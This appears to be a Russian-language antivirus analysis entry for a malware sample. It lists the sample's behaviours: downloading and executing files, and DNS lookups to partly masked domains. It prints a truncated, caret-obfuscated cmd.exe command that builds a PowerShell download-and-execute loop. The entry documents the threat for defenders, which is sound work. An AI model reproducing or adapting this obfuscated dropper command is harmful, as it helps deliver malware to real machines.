Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /V/C"^se^t D^wT^F= ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{hct^ac}^;k^a^er^b^;^j^Z^a^$ m^e^tI-^e^k^ovn^I;)^j^Z^a^$ ,pCX^$(eli^Fd^a^oln^w^o^D.hwd^$^{yrt{)t^Q^S$^ ni^ ^pCX^$(^hc^aero^f;^'ex^e.'+^aKV^$+'^\...
Сетевая активность
UDP
- DNS ASK fa######ectricandsolar.com
- DNS ASK li####dorian.com
- DNS ASK so###imar.com
- DNS ASK xl####ertree.com
- DNS ASK sh##hana.ge
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V/C"^se^t D^wT^F= ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{hct^ac}^;k^a^er^b^;^j^Z^a^$ m^e^tI-^e^k^ovn^I;)^j^Z^a^$ ,pCX^$(eli^Fd^a^oln^w^o^D.hwd^$^{yrt{)t^Q^S$^ ni^ ^pCX^$(^hc^aero^f;^'ex^e.'+^aKV^$+'^\...' (со скрытым окном)
